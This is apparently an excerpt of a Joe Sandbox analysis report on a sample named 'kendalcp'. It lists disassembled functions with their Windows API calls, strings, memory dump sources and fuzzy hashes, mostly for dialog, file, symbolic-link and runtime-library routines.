API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9e736efc7eab759871ca09c3df90a9094fa77c5664bfda06f8b608976dd4eaaf
Instruction ID: 4dd9f4d8a99fbbab0ae04520379f3be53a562a89c74de2c6c449528075b83ba8
Opcode Fuzzy Hash: 9e736efc7eab759871ca09c3df90a9094fa77c5664bfda06f8b608976dd4eaaf
Instruction Fuzzy Hash: 9AA002D62BD116BC7228515D6D1BDB6022CD4C5B517314519B517940C159585D855831

Function 0071DC0B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0071DBD5

Part of subcall function 0071DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0071DFD6
Part of subcall function 0071DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0071DFE7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ff021438e4e60bd01c1f9702dfbb0e233fba5d916790d58c537b6dc1cc473616
Instruction ID: 4dd9f4d8a99fbbab0ae04520379f3be53a562a89c74de2c6c449528075b83ba8
Opcode Fuzzy Hash: ff021438e4e60bd01c1f9702dfbb0e233fba5d916790d58c537b6dc1cc473616
Instruction Fuzzy Hash: 9AA002D62BD116BC7228515D6D1BDB6022CD4C5B517314519B517940C159585D855831

Function 0071A322 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,0071A587,C:\Users\user\Desktop,00000000,0074946A,00000006), ref: 0071A326

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 2197204478ec4df49f7801620b3bcbb90d8c16d930f8abb8641a862612d8f5c7
Instruction ID: c057b2ad58f90204bb4da64678eddda76515233fdaa48aaa27b46a13aeaeb64a
Opcode Fuzzy Hash: 2197204478ec4df49f7801620b3bcbb90d8c16d930f8abb8641a862612d8f5c7
Instruction Fuzzy Hash: F1A0123019400A568A100B30CC09C1576505760703F00C6207002C00A0CB358814A504

Function 007096D0 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,0070968F,?,?,?,?,00731FA1,000000FF), ref: 007096EB

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: e3199fb4ad0c2e7744eeef239599c60efc61f47c76d03ffa9478e849101484f7
Instruction ID: 93aa5298190dfc711c051de1d2f0e66042234aaa6f257d65dd7aec0c501a8045
Opcode Fuzzy Hash: e3199fb4ad0c2e7744eeef239599c60efc61f47c76d03ffa9478e849101484f7
Instruction Fuzzy Hash: 68F0E231446B00CFDB308A24C5A8792B7E4AB12735F049B2EC2FB035E1E77A684D8F00

Non-executed Functions

Function 0071B8E0 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0070130B: GetDlgItem.USER32(00000000,00003021), ref: 0070134F
Part of subcall function 0070130B: SetWindowTextW.USER32(00000000,007335B4), ref: 00701365

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 0071B971
EndDialog.USER32(?,00000006), ref: 0071B984
GetDlgItem.USER32(?,0000006C), ref: 0071B9A0
SetFocus.USER32(00000000), ref: 0071B9A7
SetDlgItemTextW.USER32(?,00000065,?), ref: 0071B9E1
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 0071BA18
FindFirstFileW.KERNEL32(?,?), ref: 0071BA2E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0071BA4C
FileTimeToSystemTime.KERNEL32(?,?), ref: 0071BA5C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0071BA78
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0071BA94
_swprintf.LIBCMT ref: 0071BAC4

Part of subcall function 0070400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0070401D

SetDlgItemTextW.USER32(?,0000006A,?), ref: 0071BAD7
FindClose.KERNEL32(00000000), ref: 0071BADE
_swprintf.LIBCMT ref: 0071BB37
SetDlgItemTextW.USER32(?,00000068,?), ref: 0071BB4A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 0071BB67
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 0071BB87
FileTimeToSystemTime.KERNEL32(?,?), ref: 0071BB97
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0071BBB1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0071BBC9
_swprintf.LIBCMT ref: 0071BBF5
SetDlgItemTextW.USER32(?,0000006B,?), ref: 0071BC08
_swprintf.LIBCMT ref: 0071BC5C
SetDlgItemTextW.USER32(?,00000069,?), ref: 0071BC6F

Part of subcall function 0071A63C: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0071A662
Part of subcall function 0071A63C: GetNumberFormatW.KERNEL32(00000400,00000000,?,0073E600,?,?,?,?,?,00000032), ref: 0071A6B1

Strings

REPLACEFILEDLG, xrefs: 0071B907
%s %s %s, xrefs: 0071BAB2, 0071BBE7
%s %s, xrefs: 0071BB29, 0071BC4E

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: 536ed39bf749b4b05671c0b6ebe20ab7e94d51e1f356ee329d6b87bd86bc38b1
Instruction ID: e61280c72104851d1fa01ec35c7565f6e27d1b940d518fe481739b5b7a26eebb
Opcode Fuzzy Hash: 536ed39bf749b4b05671c0b6ebe20ab7e94d51e1f356ee329d6b87bd86bc38b1
Instruction Fuzzy Hash: 059191B2248348BBE3319BA4DC49FEB77ACEB49701F044819F749D20C1D779AA458762

Function 0070718C Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 296fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00707191
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 007072F1
CloseHandle.KERNEL32(00000000), ref: 00707301

Part of subcall function 00707BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00707C04
Part of subcall function 00707BF5: GetLastError.KERNEL32 ref: 00707C4A
Part of subcall function 00707BF5: CloseHandle.KERNEL32(?), ref: 00707C59

CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 0070730C
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 0070741A
DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 00707446
CloseHandle.KERNEL32(?), ref: 00707457
GetLastError.KERNEL32 ref: 00707467
RemoveDirectoryW.KERNEL32(?), ref: 007074B3
DeleteFileW.KERNEL32(?), ref: 007074DB

Strings

SeCreateSymbolicLinkPrivilege, xrefs: 007071BC
\??\, xrefs: 00707217
UNC\, xrefs: 0070723C
SeRestorePrivilege, xrefs: 007071B2

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3935142422-3508440684
Opcode ID: 57f11b82ee717191f2c65f4a2b57504652df5cd6c7ab91dfb83ace654d04cbb5
Instruction ID: 6d549a9fc27d1eb5eb859756cb932d00e29e89616846aedb70278b8c7f8179b4
Opcode Fuzzy Hash: 57f11b82ee717191f2c65f4a2b57504652df5cd6c7ab91dfb83ace654d04cbb5
Instruction Fuzzy Hash: 1FB1D371D04255EADF24DBA4DC45BEEB7B8AF04300F044669F949E7282D73CBA49CBA1

Function 0072866F Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00728767
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00728771
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 0072877E

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: edac942bd06a4c7df8512bc56414121eac6f17a72e009efec59ca99e06baddbc
Instruction ID: 9af15ddaee6655456345cf53a55dbbea706170c8da5bd5165f93f4957d06a614
Opcode Fuzzy Hash: edac942bd06a4c7df8512bc56414121eac6f17a72e009efec59ca99e06baddbc
Instruction Fuzzy Hash: 6031B57590122C9BCB61DF68D889BDCBBB4AF08310F5041EAE81CA7291EB349B858F45

Function 0071A63C Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0071A662
GetNumberFormatW.KERNEL32(00000400,00000000,?,0073E600,?,?,?,?,?,00000032), ref: 0071A6B1

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 3c6e93ed01da229a93fd2cf7537900e84e7c7d8d692ad5f04c3b7b9172142bac
Instruction ID: f5e2ef6c9fedd0a37b032e733df42640228194cd3f2415723e09fe055aa0b7ab
Opcode Fuzzy Hash: 3c6e93ed01da229a93fd2cf7537900e84e7c7d8d692ad5f04c3b7b9172142bac
Instruction Fuzzy Hash: 17015E76500308BAE720CF65EC06F9B77BCEF19712F008822FA0497190D7B89A24C7A9

Function 00706EC9 Relevance: 3.0, APIs: 2, Instructions: 17windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(0071117C,?,00000200), ref: 00706EC9
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00706EEA

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 898bdcc3c3bf8bdcb2891f41000c1ef319c18a9e0194aa84287a749c6cae73ca
Instruction ID: 638ad4d9e406f2fe1f21e781f2e78598a3d7a4790656604cca84ec7f9614ab38
Opcode Fuzzy Hash: 898bdcc3c3bf8bdcb2891f41000c1ef319c18a9e0194aa84287a749c6cae73ca
Instruction Fuzzy Hash: E6D09E35284302BAFA210B74CC05F267B957755B43F10C614B256DD0D0C57490249619

Function 0070ACF5 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 0070AD1A

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 61b386ad8e7883ea44f539a209d123a5632c2a1d551a71e4b6b8df1f2f2ff5b2
Instruction ID: 488aa1d84637278676d0d86da28308a7ac26554bcaf315d91c3d40e8edcb279a
Opcode Fuzzy Hash: 61b386ad8e7883ea44f539a209d123a5632c2a1d551a71e4b6b8df1f2f2ff5b2
Instruction Fuzzy Hash: 58F01DB8A0030CCBDB28CB18ED416E973B5F759711F2087A6DA1543798D378AD458E95

Function 0071F063 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001F070,0071EAC5), ref: 0071F068

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 10f1f6900696e50825f1eb44243c9741e1bd6ba7cef0b1bf71eae944f476986c
Instruction ID: 50b3b1714b2000aeb2a2634e89cd97a1126989a3ab5857df16c16be54cb3cd57
Opcode Fuzzy Hash: 10f1f6900696e50825f1eb44243c9741e1bd6ba7cef0b1bf71eae944f476986c
Instruction Fuzzy Hash:

Function 0072B710 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0072B710

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 11e471b978d1a84cd3c13c22c3480fbab4b540d880b8d15af081f2fbdd0bb5f7
Instruction ID: 5aa94c071f9f11c4846fd2a4385c400769817d0235ac6be09fa10886e10b5d67
Opcode Fuzzy Hash: 11e471b978d1a84cd3c13c22c3480fbab4b540d880b8d15af081f2fbdd0bb5f7
Instruction Fuzzy Hash: 55A011B82002008BA3008F32AA0C2083AAAAA00282308C228A00AC2020EA2C80208F08

Function 0070DA98 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 236COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0070DABE

Part of subcall function 0070400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0070401D

Part of subcall function 00711596: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00740EE8,00000200,0070D202,00000000,?,00000050,00740EE8), ref: 007115B3

_strlen.LIBCMT ref: 0070DADF
SetDlgItemTextW.USER32(?,0073E154,?), ref: 0070DB3F
GetWindowRect.USER32(?,?), ref: 0070DB79
GetClientRect.USER32(?,?), ref: 0070DB85
GetWindowLongW.USER32(?,000000F0), ref: 0070DC25
GetWindowRect.USER32(?,?), ref: 0070DC52
SetWindowTextW.USER32(?,?), ref: 0070DC95
GetSystemMetrics.USER32(00000008), ref: 0070DC9D
GetWindow.USER32(?,00000005), ref: 0070DCA8
GetWindowRect.USER32(00000000,?), ref: 0070DCD5
GetWindow.USER32(00000000,00000002), ref: 0070DD47

Strings

Ts, xrefs: 0070DAFA
$%s:, xrefs: 0070DAB2
CAPTION, xrefs: 0070DC77
d, xrefs: 0070DBA5

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$Ts$d
API String ID: 2407758923-2423042079
Opcode ID: 4e8405ea8832cef2b8c9e6af234e9288b8a7a4b209108787ab3e9caae7856124
Instruction ID: 27b5b49b8d3a60f8ba1fbecf49bc8005075381c0c75c73aaace404f5ce32d6c5
Opcode Fuzzy Hash: 4e8405ea8832cef2b8c9e6af234e9288b8a7a4b209108787ab3e9caae7856124
Instruction Fuzzy Hash: EC81B371108305EFD724DFA8CC88A6BBBE9EB89704F04491DF68593291D678ED09CB52

Function 0072C233 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0072C277

Part of subcall function 0072BE12: _free.LIBCMT ref: 0072BE2F
Part of subcall function 0072BE12: _free.LIBCMT ref: 0072BE41
Part of subcall function 0072BE12: _free.LIBCMT ref: 0072BE53
Part of subcall function 0072BE12: _free.LIBCMT ref: 0072BE65
Part of subcall function 0072BE12: _free.LIBCMT ref: 0072BE77
Part of subcall function 0072BE12: _free.LIBCMT ref: 0072BE89
Part of subcall function 0072BE12: _free.LIBCMT ref: 0072BE9B
Part of subcall function 0072BE12: _free.LIBCMT ref: 0072BEAD
Part of subcall function 0072BE12: _free.LIBCMT ref: 0072BEBF
Part of subcall function 0072BE12: _free.LIBCMT ref: 0072BED1
Part of subcall function 0072BE12: _free.LIBCMT ref: 0072BEE3
Part of subcall function 0072BE12: _free.LIBCMT ref: 0072BEF5
Part of subcall function 0072BE12: _free.LIBCMT ref: 0072BF07

_free.LIBCMT ref: 0072C26C

Part of subcall function 007284DE: RtlFreeHeap.NTDLL(00000000,00000000,?,0072BFA7,?,00000000,?,00000000,?,0072BFCE,?,00000007,?,?,0072C3CB,?), ref: 007284F4
Part of subcall function 007284DE: GetLastError.KERNEL32(?,?,0072BFA7,?,00000000,?,00000000,?,0072BFCE,?,00000007,?,?,0072C3CB,?,?), ref: 00728506

_free.LIBCMT ref: 0072C28E
_free.LIBCMT ref: 0072C2A3
_free.LIBCMT ref: 0072C2AE
_free.LIBCMT ref: 0072C2D0
_free.LIBCMT ref: 0072C2E3
_free.LIBCMT ref: 0072C2F1
_free.LIBCMT ref: 0072C2FC
_free.LIBCMT ref: 0072C334
_free.LIBCMT ref: 0072C33B
_free.LIBCMT ref: 0072C358
_free.LIBCMT ref: 0072C370

Strings

Ps, xrefs: 0072C249

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: Ps
API String ID: 161543041-642261222
Opcode ID: 1d42b1081d31c37f8350cde2ff505d522bb1cc3b5d66bf04bc81e2e3edebec6f
Instruction ID: 0d54a7cfa2a648d422c5d87209b64ac40653f54e7d1224b11072446f8dc6becc
Opcode Fuzzy Hash: 1d42b1081d31c37f8350cde2ff505d522bb1cc3b5d66bf04bc81e2e3edebec6f
Instruction Fuzzy Hash: F8319E32600225DFEB62AE78F949B5A73E9FF10310F148869E448DB552DF3AAC40CB52

Function 0071CD2E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 0071CD51
GetClassNameW.USER32(00000000,?,00000800), ref: 0071CD7D

Part of subcall function 007117AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0070BB05,00000000,.exe,?,?,00000800,?,?,007185DF,?), ref: 007117C2

GetWindowLongW.USER32(00000000,000000F0), ref: 0071CD99
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0071CDB0
GetObjectW.GDI32(00000000,00000018,?), ref: 0071CDC4
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0071CDED
DeleteObject.GDI32(00000000), ref: 0071CDF4
GetWindow.USER32(00000000,00000002), ref: 0071CDFD

Strings

STATIC, xrefs: 0071CD83

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: 561aa84b76188e903ee7d4310eb16068693235783b160883d841eeaecf645d3d
Instruction ID: bb2be7998335681720911abe164743ab28496261a949b8eb5f3b5e6a29f01423
Opcode Fuzzy Hash: 561aa84b76188e903ee7d4310eb16068693235783b160883d841eeaecf645d3d
